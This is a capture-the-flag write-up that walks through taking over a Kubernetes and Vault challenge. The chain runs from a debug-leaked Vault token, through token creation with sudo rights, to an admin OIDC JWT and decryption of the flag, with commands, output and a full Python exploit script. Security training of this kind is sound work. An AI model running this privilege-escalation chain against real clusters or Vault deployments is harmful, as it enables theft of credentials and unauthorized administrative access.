We are presented with a website that will encrypt wishes for santa:

We are also with a second endpoint that is called secrets which we can just assume is the secrets storage endpoint.
Looking at the traffic that is generated by interacting with the frontend, we can see Kubernetes API requests and responses:
curl https://UUID.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"items": [],
"kind": "SecretList",
"metadata": {
"continue": "",
"resourceVersion": "328"
}
}
Since we didn’t have to specify any authorization token, anonymous authentication is enabled! Based on the information we have, it is possible to create a KUBECONFIG file so that we can interact with the Kubernetes API using the kubectl CLI. We can identify what we have access to:
KUBECONFIG=flagvent kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
notes.ctf.flagvent.org [] [] [create get list watch]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets.ctf.flagvent.org [] [] [get list watch]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
In addition to the secrets, we can also see that we can get, list and watch notes. Since the notes are still unencrypted, maybe we can read notes of other entities that are interacting with the app? Sadly not, but we can see something interesting when we use the frontend ourselves to create a new secret:
KUBECONFIG=flagvent kubectl get --watch note.ctf.flagvent.org -o yaml
apiVersion: ctf.flagvent.org/v1alpha1
kind: Note
metadata:
creationTimestamp: "2025-12-13T17:37:45Z"
generation: 1
name: asdf
namespace: default
resourceVersion: "551"
uid: 6e13c394-c415-4227-92df-6a58c51729cc
spec:
debug: false
message: asdf
There is a debug flag in the Note custom resource! If we change debug to true when creating a note, the resulting Secret object contains debug information that leaks a Vault token in the X-Vault-Token header:
KUBECONFIG=flagvent kubectl get secret.ctf.flagvent.org -o yaml
apiVersion: v1
items:
- apiVersion: ctf.flagvent.org/v1alpha1
kind: Secret
metadata:
creationTimestamp: "2025-12-13T17:18:48Z"
generation: 5
name: asdf
namespace: default
resourceVersion: "569"
uid: f97cb3a8-9276-42a2-8d31-96af130917a3
spec:
ciphertext: vault:v1:ROvwzr3yy7cVHAgwSiltKlWT90q0KNOPFIuRzZj/824=
transitKey: ctf
transitMount: transit
status:
createdAt: "2025-12-13T17:38:29.769540+00:00"
debug:
note: Debug should not be used in production.
vaultRequest:
body:
plaintext: YXNkZg==
headers:
Content-Type: application/json
X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc
method: POST
path: /v1/transit/encrypt/ctf
url: http://secrets:8208/v1/transit/encrypt/ctf
sourceNote:
name: asdf
namespace: default
kind: List
metadata:
resourceVersion: ""
As Vault is a known secret storage solution, the vault CLI can be used to log in with the leaked token:
export VAULT_ADDR=https://UUID.challs.flagvent.org:31337/
vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc
token_accessor YOKNyXSCZfr2qN5w02xLrSyX
token_duration 23h49m23s
token_renewable true
token_policies ["ctf-encrypt-only" "default"]
identity_policies []
policies ["ctf-encrypt-only" "default"]
To enumerate the permissions of the leaked token, we can read the policies. The ctf-encrypt-only looks safe and quite restriced. It only allows us to list encryption key information and encrypt some plaintext:
vault policy read ctf-encrypt-only
path "transit/encrypt/ctf" {
capabilities = ["update"]
}
path "transit/keys/ctf" {
capabilities = ["read"]
}
Looking at the default policy, we can see a lot of rules that look sane. However, there is one capability that stands out: We have the sudo capability on the auth/token/create endpoint!
vault policy read default
# ...
# Allow tokens to renew themselves
path "auth/token/create" {
capabilities = ["update", "sudo"]
}
# ...
# Allow everyone to audit policies
path "sys/policies/acl" {
capabilities = ["list"]
}
path "sys/policies/acl/*" {
capabilities = ["read"]
}
Additionally, we can read out all policies:
vault policy list
admin
ctf-encrypt-only
default
root
The admin policy is very generous and allows complete access over the vault:
vault policy read admin
path "*" {
capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}
So, we can use the sudo permission given to us by the default policy to create a new token. During token creation, we can select the policy that should apply to this new token. Specifying admin will then create us a token with full control over the vault:
vault token create -policy=admin
Key Value
--- -----
token s.mcItbbmy8XXKyJh1wmxrkQOd
token_accessor Rqg0imoCYyBePHpZkmbQSQV6
token_duration 768h
token_renewable true
token_policies ["admin" "default"]
identity_policies []
policies ["admin" "default"]
For example, we can change the the CTF encryption key to be exportable and then read out the encryption key:
vault write transit/keys/ctf/config exportable=true
vault read transit/export/encryption-key/ctf
vault read transit/export/hmac-key/ctf
Key Value
--- -----
keys map[1:C9n+7oYXKCiKTmrBMdgkawibzGw8Zh6HThYI0BHkKpk=]
name ctf
type aes256-gcm96
Key Value
--- -----
keys map[1:+cudxq+IOLg9W2M4MEdHtxSHxQv3DP4+iKA0xRLDvqQ=]
name ctf
type aes256-gcm96
However, this only allows us to decrypt the secrets that we have previously encrypted ourselves, so we already know the plaintext…
Looking around the Vault API, we try to enumerate more now that we have admin permissions. We can identify multiple entities, one of which has the name k8s-admin-user:
vault list identity/entity/id
vault read identity/entity/id/87404d17-749a-5803-fd80-db01218e6876
Key Value
--- -----
aliases []
creation_time 2025-12-13T20:06:44.17306739Z
direct_group_ids []
disabled false
group_ids []
id 87404d17-749a-5803-fd80-db01218e6876
inherited_group_ids []
last_update_time 2025-12-13T20:06:44.17306739Z
merged_entity_ids <nil>
metadata <nil>
name k8s-admin-user
namespace_id root
policies []
This is interesting. Might the Vault be configured as an authentication provider for the Kubernetes API?
vault list identity/group/id
vault read identity/group/id/94e5efa8-87e6-fb09-ae63-a1f6405650b8
Key Value
--- -----
alias map[]
creation_time 2025-12-13T20:06:44.551382047Z
id 94e5efa8-87e6-fb09-ae63-a1f6405650b8
last_update_time 2025-12-13T20:06:44.551382047Z
member_entity_ids <nil>
member_group_ids <nil>
metadata <nil>
modify_index 1
name admin
namespace_id root
parent_group_ids <nil>
policies [k8s-cluster-admin]
type external
It does look like this is the case, as the OIDC provider is enabled and contains a k8s-admin role:
vault read identity/oidc/config
vault list identity/oidc/role
Key Value
--- -----
issuer https://secrets:8200
Keys
----
k8s-admin
Due to how Vault internally maps identity entities to external roles, we have to also enumerate the entity aliases. There, we can find the cluster-admin alias:
vault list identity/entity-alias/id
vault read identity/entity-alias/id/412cb4bb-89af-463f-ba7a-84c96a1b7924
Key Value
--- -----
canonical_id 272af83a-ece1-9504-85ef-f1a52ae24260
creation_time 2025-12-13T20:06:45.625376337Z
custom_metadata <nil>
id 412cb4bb-89af-463f-ba7a-84c96a1b7924
last_update_time 2025-12-13T20:06:45.625376337Z
local false
merged_from_canonical_ids <nil>
metadata <nil>
mount_accessor auth_token_ca397855
mount_path auth/token/
mount_type token
name cluster-admin
namespace_id root
Using the new information, we can create a new Vault token that has the k8s-admin role and the cluster-admin entity alias:
vault token create -role k8s-admin -entity-alias cluster-admin
Key Value
--- -----
token s.BATu8wSdYCavnvcT0EEeDjCL
token_accessor QO5j7kWp1oBLnG6jlvHpDe7P
token_duration 768h
token_renewable true
token_policies ["admin" "default"]
identity_policies []
policies ["admin" "default"]
If we log into the Vault CLI with this new token, we can generate the JWT that is needed to access the Kubernetes API:
vault read identity/oidc/token/k8s-admin
Key Value
--- -----
client_id k8s
token eyJhbGciOiJSUzI1NiIsImtpZCI6ImYzZmUwYzU5LTBkZDYtMzMwMC0xOWIzLTVjYTQwY2VkYjRmMyJ9.eyJhdWQiOiJrOHMiLCJleHAiOjE3NjU2NjI3ODIsImdyb3VwcyI6WyJhZG1pbiJdLCJpYXQiOjE3NjU2NTkxODIsImlzcyI6Imh0dHBzOi8vc2VjcmV0czo4MjAwL3YxL2lkZW50aXR5L29pZGMiLCJuYW1lc3BhY2UiOiJyb290Iiwic3ViIjoiMjcyYWY4M2EtZWNlMS05NTA0LTg1ZWYtZjFhNTJhZTI0MjYwIn0.MU1hSTEdeMBv41WC_4OqmpgYQ4CmNFgwvaxKUXS8y-AKPbzX2fxMT9lp_xHFtGZiXHhvtfbUA7UhIa1RKfQfRBi-QNMi-dPbRC5rHGnMHLTNqa5J-tLF30Udg2uNPDgJ14wnmOUi5ykvMGl4FjFz5y_vmAbrtIDB6MQJrDC2dZzbMTmrPJtkHV8MvCFAijC-vOqwOBbilTK-jU4VLHCoPGVNJihKG5kv3mjKjggyjQwI_USVLSPOLm_ObcIPNc-ZkUCjYFkhvfDl8rkTsRgsIMDXBAlfgkqBzEXKyHIQwUKMxHEX99dRsOM2PaoHyJJLrGf9fXuwAn9TQE5k7MlXPQ
ttl 1h
Reconfiguring our KUBECONFIG file to include the new JWT, we can now see all Kubernetes resources. Listing all ctf.flagvent.org.Secret objects returns us a flag secret in the kube-system namespace that wasn’t previously available to us:
apiVersion: ctf.flagvent.org/v1alpha1
kind: Secret
metadata:
creationTimestamp: "2025-12-13T20:07:06Z"
generation: 1
name: flag
namespace: kube-system
resourceVersion: "303"
uid: fe1e9290-a8e3-469b-8cc1-dc0e5119eef1
selfLink: /apis/ctf.flagvent.org/v1alpha1/namespaces/kube-system/secrets/flag
status:
createdAt: "2025-12-13T20:07:06.760772+00:00"
sourceNote:
name: flag
namespace: kube-system
spec:
ciphertext: >-
vault:v1:xTXs67paDNJs4bSHOzUmpG/EDH4tkXS6YwUxk9ux4+jw2t9SlKs1W4uktsfmm3oFNx0SB1bxmGOBIod/
transitKey: ctf
transitMount: transit
Using one of the Vault tokens that has Vault admin access, we can decrypt the ciphertext:
vault write transit/decrypt/ctf ciphertext="vault:v1:xTXs67paDNJs4bSHOzUmpG/EDH4tkXS6YwUxk9ux4+jw2t9SlKs1W4uktsfmm3oFNx0SB1bxmGOBIod/"
Key Value
--- -----
plaintext RlYyNXt3MHdfc3VjaF80X2QzdjBwc18zbmdpbjMzcn0=
Base64 decoding the plaintext from the Vault CLI output above returns the flag:
FV25{w0w_such_4_d3v0ps_3ngin33r}
import requests, time, base64
K8S_URL = "https://UUID.challs.flagvent.org:31337"
BAO_URL = "https://UUID.challs.flagvent.org:31337"
r = requests.post(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes", json={
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Note",
"metadata":{
"name": "asdf",
"namespace": "default"
},
"spec":{
"debug": True,
"message": "asdf"
}
})
print("Note with debug mode created:", r.status_code)
time.sleep(1)
r = requests.get(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets")
leaked_bao_token = r.json()["items"][0]["status"]["debug"]["vaultRequest"]["headers"]["X-Vault-Token"]
print("Leaked bao token:", leaked_bao_token)
r = requests.post(BAO_URL + "/v1/auth/token/create", headers={
"X-Vault-Token": leaked_bao_token
}, json={
"policies": ["admin"]
})
admin_bao_token = r.json()["auth"]["client_token"]
print("Admin bao token:", admin_bao_token)
r = requests.post(BAO_URL + "/v1/auth/token/create/k8s-admin", headers={
"X-Vault-Token": admin_bao_token
}, json={
"entity_alias": "cluster-admin"
})
k8s_bao_token = r.json()["auth"]["client_token"]
print("K8s bao token:", k8s_bao_token)
r = requests.get(BAO_URL + "/v1/identity/oidc/token/k8s-admin", headers={
"X-Vault-Token": k8s_bao_token
}, json={
"policies": ["admin"]
})
k8s_admin_token = r.json()["data"]["token"]
print("Admin k8s token:", k8s_admin_token)
r = requests.get(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/kube-system/secrets", headers={
"Authorization": f"Bearer {k8s_admin_token}"
})
encrypted_flag = r.json()["items"][0]["spec"]["ciphertext"]
print("Encrypted flag:", encrypted_flag)
r = requests.post(BAO_URL + "/v1/transit/decrypt/ctf", headers={
"X-Vault-Token": k8s_bao_token
}, json={
"ciphertext": encrypted_flag
})
flag = r.json()["data"]["plaintext"]
print("Decrypted flag:", base64.b64decode(flag).decode("utf-8"))
I’ve learned a lot about Kubernetes and Vault. Both are straightforward to use, whether through the CLI or the REST API. The challenge itself is awesome and quite complex, featuring many concepts that you only deal with if you are deploying modern infrastructure. Managing to create this challenge environment on a per-player instance basis is very impressive. Amazing Job, cfi2017 and coderion!